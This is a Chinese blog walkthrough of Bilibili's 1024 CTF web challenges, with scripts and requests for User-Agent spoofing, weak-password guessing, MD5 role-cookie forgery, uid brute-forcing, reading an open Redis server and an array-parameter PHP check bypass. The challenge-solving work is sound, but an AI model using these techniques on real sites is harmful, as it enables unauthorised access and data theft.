0x00 前言 B站搞了个1024程序员节,看起来是个 toy CTF,有点开心。 于是想到了曾经在CTF和ACM的路口选择了ACM,CTF一直是心中的一点遗憾,想着要不咱……玩玩看?
【写在前面】这次有点意思,可能 flag 是需要和各位自己的 uid 有某些计算的,不同账号同一时间以及相同账号不同时间的答案居然会有不同,看来是为了防止无脑抄袭,至少还是需要用自己的 uid 亲自走一遍流程的,不错不错。
0x01 养成看到网页就F12的好习惯
页面的背后是什么? 题目地址: http://45.113.201.36/index.html
说到网页的“背后”,一般想到的就是有东西被隐藏了,我们可以直接审查元素看到果然有个 hidden:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <body > <div class ="banner" > <img src ="api/images?file=banner.png" alt ="哔哩哔哩" ondragstart ="return false;" > </div > <div class ="content" > <h2 > 欢迎来到哔哩哔哩星球!</h2 > <section id ="getintouch" class ="flipInX animated" > <div class ="container" style ="border-bottom: 0;" > <h1 > <input id ="flag1" type ="hidden" values ="flag1" > </input > <h4 id ="flag2" > </h4 > </h1 > </div > <div class ="container" > </div > </section > </div > </body >
把 hidden 删掉,或者直接从审查元素里把 flag 拖出来复制就好啦 ~
真正的秘密只有特殊的设备才能看到 题目地址: http://45.113.201.36/index.html
页面地址和刚才的一样,说到特殊的设备,我的第一反应其实是“大概要用移动端吧”,所以即便看到了网页源码里没有区分设备的代码,我也抱着“可能有 User Agent 分流的高端操作”的想法用手机看了看。 —— “HTTP 406 请先登陆” —— “HTTP 403” 哦对不起,看来是我搞错了。 然后我们回到页面上来,有这么一句话叫做:
需要使用bilibili Security Browser浏览器访问~
打开网页的审查元素,我们可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $.ajax({ url: "api/ctf/2", type: "get", success:function (data) { //console.log(data); if (data.code == 200){ // 如果有值:前端跳转 $('#flag2').html("flag2: " + data.data); } else { // 如果没值 $('#flag2').html("需要使用bilibili Security Browser浏览器访问~"); } } })
简单解释一下就是,我们找一个叫做 “api/ctf/2” 的 API 要答案,如果它认识我们就给,不认识,那就不给。 根据页面的提示来看,我寻思着得用 bilibili 安全浏览器了,但哪有这浏览器呀,那意思是…… User Agent 是 “bilibili Security Browser”?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsheaders = { 'Host' : '45.113.201.36' , 'User-Agent' : 'bilibili Security Browser' , 'X-Requested-With' : 'XMLHttpRequest' , 'Connection' : 'keep-alive' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' , 'Upgrade-Insecure-Requests' : '1' , 'Accept-Encoding' : 'gzip, deflate' , 'Accept-Language' : 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7' , } s = requests.Session() url = 'http://45.113.201.36/api/ctf/2' if __name__ == "__main__" : response = s.get(url=url, headers=headers) print (response.text)
—— “HTTP 406: 请先登录”
哦哦哦还要登录! 那Cookie也得贴一下(安全起见,我挡一下session):
1 2 3 headers.update{ 'Cookie' : 'session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.SEwRNzYMFgFui75321FBJStdQeg' }
好了拿到了:
1 2 3 4 5 6 >>> print(eval(response.text)["msg"]) 请先登录 >>> headers.update({'Cookie': 'session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.SEwRNzYMFgFui75321FBJStdQeg'}) >>> response = s.get(url='http://45.113.201.36/api/ctf/2', headers=headers) >>> response.text '{"code":200,"data":"9535c0a5-41f5074d-44115638-63fa8d2d","msg":""}\n'
0x03 我不承认弱密码是CTF的一种
密码是啥? 题目地址: http://45.113.201.36/login.html
上来就给了一个用户名密码让你填,看了看网页元素。 里面一个 ajax 的意思是对着 api 发送用户名密码,对了给 flag,错了不给。 第一反应尝试了一下 admin/admin,结果不对 然后试了一下 admin/123456,结果也不对 然后看了一下页面上 “二次元” 世界,欢迎来到 “哔哩哔哩星球” …… bilibili / bilibili 不对 admin / bilibili 呃…… 对了 这算是个什么题嘛!
0x04 超级管理员有几种写法
对不起,权限不足~ 题目地址: http://45.113.201.36/superadmin.html
看了一眼,这个页面的 get 操作什么都没找我要,那么就是在 header 里做文章了,看了下Cookie分为两个部分,role 和 session,其中 role 是一个32位看起来很像16进制的字符串。 —— 难道这就是 flag? —— (提交)哦不是 —— 那莫非是 MD5?
u开头的……四个字符…… 莫不是user吧哈哈哈。 然后试了一下…… 真的是……
1 MD5("user") = ee11cbb19052e40b07aac0ca060c23ee
那我是不是只要用超级管理员的MD5来替换掉这个Cookie里的role就行了? 太简……单……哎?admin 的 MD5 也不对,superadmin 的 MD5 也不对?
1 2 3 4 5 6 7 8 user: ee11cbb19052e40b07aac0ca060c23ee admin: 21232f297a57a5a743894a0e4a801fc3 bilibili: 130e29f351572e58c49fd4c910d7beb0 superadmin: 17c4520f6cfd1ab53d8745e84681eb49 超级管理员: 302ff00ddb9cb45c970a316e5212bb34 administrator: 200ceb26807d6bf99fd6f4f0d1ca54d4 Administrator: 7b7bc2512ee1fedcd76bdc68926d4f7b
于是实验了如此之多的情况,终于在最后一个超级管理员的单词上得到了正确的 flag(你用这词谁能第一时间想到啊!怒):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 省略 10000 字尝试过程 >>> data = {"username": "superadmin"} >>> data = {"role": "superadmin"} >>> response = s.get(url='http://45.113.201.36/api/ctf/4', data=data, headers=headers) >>> response.text '{"code":"403","data":"","msg":""}\n' >>> headers.update({ ... 'Cookie': 'role=200ceb26807d6bf99fd6f4f0d1ca54d4; session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.YjyKwfR-LZ6zYDRgjbZyk6PArn0',}) >>> response = s.get(url='http://45.113.201.36/api/ctf/4', data=data, headers=headers) >>> response.text '{"code":"403","data":"","msg":""}\n' >>> response = s.get(url='http://45.113.201.36/api/ctf/4', headers=headers) >>> response.text '{"code":"403","data":"","msg":""}\n' >>> headers.update({ ... 'Cookie': 'role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.YjyKwfR-LZ6zYDRgjbZyk6PArn0',}) >>> response = s.get(url='http://45.113.201.36/api/ctf/4', headers=headers) >>> response.text '{"code":200,"data":"9683e651-a291e88e-056553b8-30141099","msg":""}\n'
0x05 暴力破解真的是一种美学吗
别人的秘密 题目地址: http://45.113.201.36/user.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 $(function () { (function ($) { $.getUrlParam = function(name) { var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); var r = window.location.search; console.log(r); r = r.substr(1).match(reg); if (r != null) return unescape(r[2]); return null; } })(jQuery); var uid = $.getUrlParam('uid'); if (uid == null) { uid = 100336889; } $.ajax({ url: "api/ctf/5?uid=" + uid, type: "get", success:function (data) { console.log(data); if (data.code == 200){ // 如果有值:前端跳转 $('#flag').html("欢迎超级管理员登陆~flag : " + data.data ) } else { // 如果没值 $('#flag').html("这里没有你想要的答案~") } } }) });
我们可以看到,这题一上来摆明了告诉你我就找你要一个 uid。 没有提供 uid 的情况下会直接用一个默认的(这个默认的 uid 我也去看了,确实应该就是个普通吃瓜观众) 我第一时间实验了 ⑨bishi老爷的uid,已婚的uid,都不对。 然后去看 22娘 33娘 好像也没有官方认证的账号,uid 也无从得知。 那就很无奈的只能暴搜了……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from configparser import RawConfigParserimport requestsheaders = { 'Cookie' : 'role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=eyJ1aWQiOiI1NDc4NDAifQ.X5QVaw.SEwRNzYMFgFui7Tzo1FBJStdQeg' , 'Host' : '45.113.201.36' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36' , 'X-Requested-With' : 'XMLHttpRequest' , 'Connection' : 'keep-alive' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' , 'Upgrade-Insecure-Requests' : '1' , 'Accept-Encoding' : 'gzip, deflate' , 'Accept-Language' : 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7' , } s = requests.Session() url = 'http://45.113.201.36/api/ctf/5?uid=' if __name__ == "__main__" : for i in range (100336889 , 100337000 ): response = s.get( url=url + str (i), headers=headers) print (i, response.text)
爆搜到 100336921
的时候出现了 HTTP 200 和 flag 字符串,但我并高兴不起来,我总觉得是不是还有别的方法可以得到这个 uid。(问了下其他人,他们的是 923,而我的是 921,看来答案还具有多样性)
0x06 让我看看题目到底是啥好不好球球了
结束亦是开始 题目地址: http://45.113.201.36/blog/single.php?id=1
从这里开始,题目就不从 start 页面中获得了。 可以认为一条新的线路从这个新的 ip 站点开始了。 ——对不起,等我们赶到的时候,这个站点已经连不上,就只剩下这个缓存页面了。
0x08 你们就不想让这个服务器活着 知道为什么第六题老上不去吗? 因为第八题要扫开放端口。 大家都不知道是哪个端口所以都在扫,这个一般来说叫什么呢? 嗯,叫DDOS。
就不说怎么扫端口了,for 循环挨个试验比较呆,直接告诉你们是 6379 端口。 下载一个Redis客户端:https://github.com/microsoftarchive/redis/releases
1 2 3 4 5 6 7 8 redis-cli.exe -h 120.92.151.189 -p 6379 (120.92.151.189:6379) > keys * 1) "flag4" 2) "flag5" ... 11) "flag8" (120.92.151.189:6379) > get flag8 {flag8:d436b982-2b81aa54-49a8d2db-87ab951a}
0x10 你们这套操作是我七夕玩剩下的
七夕的时候给 @ZoeCUR 写了个CTF当礼物(然后被好友喷了个狗血淋头说我是钛合金直男),用的方法和这题几乎完全一样 = =
首先试着打开了 http://120.92.151.189/blog/test.php 看到了一个只由 ![]{}
组成的文本,我第一时间居然去找了猴语解码,是我孤陋寡闻了。询问 dalao 后得知这东西叫 JSFuck 编码…… 你们这些写JS的怎么回事?!
总之解码之后可以得到两个字符串:
1 2 "程序员最多的地方" "bilibili1024havefun"
刚看到这里我就突然有种既视感,别是要在github上找到个文件,然后文件指向一张图片,然后图片里藏了个字符串,然后字符串解码是个七夕祝福视频啊(事实证明除了七夕祝福视频,都一样……)!
在我回头写这篇博客的时候才发现 Github 上蹭热度的人已经把搜索结果污染了 23333,蹭还是你们会蹭,有星吗就蹭?(我的天还真有人拿了三颗,我酸了) 我们不管那些蹭热度的,总之真实的文件是这个https://github.com/interesting-1024/end/blob/main/end.php
文件内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $bilibili = "bilibili1024havefun" ;$str = intval($_GET ['id' ]);$reg = preg_match('/\d/is' , $_GET ['id' ]);if (!is_numeric($_GET ['id' ]) and $reg !== 1 and $str === 1 ){ $content = file_get_contents($_GET ['url' ]); if (false ){ echo "还差一点点啦~" ; }else { echo $flag ; } }else { echo "你想要的不在这儿~" ; } ?>
里面是一个提示,告诉我们有个叫 end.php 的东西,好我们回头到目标IP的靶机上。照抄学一个 url:
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
暂时截不了图……写到这目标网站又连不上了…… 总之随便构造,只要满足条件的传参无论你写啥都是能拿到一张图 CSDN上传的图片是压缩的,图片各位还是得自己下载。 用记事本打开图片的末尾就能看到 Flag:
{flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65}